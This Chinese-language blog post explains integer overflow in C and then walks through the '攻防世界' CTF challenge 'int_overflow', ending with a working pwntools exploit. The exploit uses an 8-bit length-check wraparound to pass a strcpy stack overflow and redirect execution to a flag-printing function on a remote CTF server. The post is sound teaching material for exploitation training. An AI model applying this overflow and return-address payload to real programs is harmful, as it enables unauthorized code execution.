本文已参与「新人创作礼」活动,一起开启掘金创作之路。
整型溢出漏洞是什么
整型是一个特定的变量类型,在32位的系统中,一个整数一般占32位,而在64位的系统中一个整数占64位,(下面主要介绍32位整型溢出)为了表示正负(有符号),需要最高位来决定数值的,下面列举一些常见的整型的数值范围
在c语言中有这样的规定:
对于unsigned整型的溢出,溢出之后的数会和2^(8*字节)作模运算,例如一个unsigned char 溢出了,就会把溢出的数值与256求模
对于signed整型的溢出,没有规范的定义,由编译器说了算
C语言测试
测试代码
#include<stdio.h>
int main(){
unsigned char x=1;
unsigned char y=257;
if(x==y){
printf("success!");
}
putchar('\n');
return 0;
}
定义两个无符号字符型,我们知道unsigned char 的范围是0-255 ,这里我们给他一个超限的值。
可以看到,这里执行成功了,溢出的值257与256作模运算,得到结果就是1
接下来我们看一个典型的例子:攻防世界-PWN-int_overflow
攻防世界-PWN-int_overflow
分析一下
x86-32 bit,linux可执行文件ELF
NX保护 栈不可执行
拖到IDA
main函数没什么问题
这里有个子函数,跟进看看,貌似也很合规矩
继续,还有个check_passwd()
问题来了,单个看没什么问题,但是结合前面的,我们的s给了0x200的空间,而这里只判定其长度为 4-8,本身就很可疑,再加上,unsigned _int8 v3 典型的整型溢出(256+4到256+8),满足其长度的要求,接下来就可以执行strcpy()函数,由于没有对复制的长度进行限制,我们可以借助这个函数,达到rop效果,接下来就是确定跳转的地址了
看一下字符串
还真有,定位到它的地址
接下来就可以攻击了
首先要弄清楚check_passwd函数的栈的情况
exp
from pwn import *
p = remote("220.249.52.133",52832)
cat_flag_addr = 0x0804868B
payload = 'a' * 0x14 + 4 * 'a' + p32(cat_flag_addr) + (261-0x14-4-4)*'a'
p.sendlineafter("Your choice:",'1')
p.sendlineafter("input your username:","test")
p.sendlineafter("input your passwd:",payload)
p.interactive()
拿到flag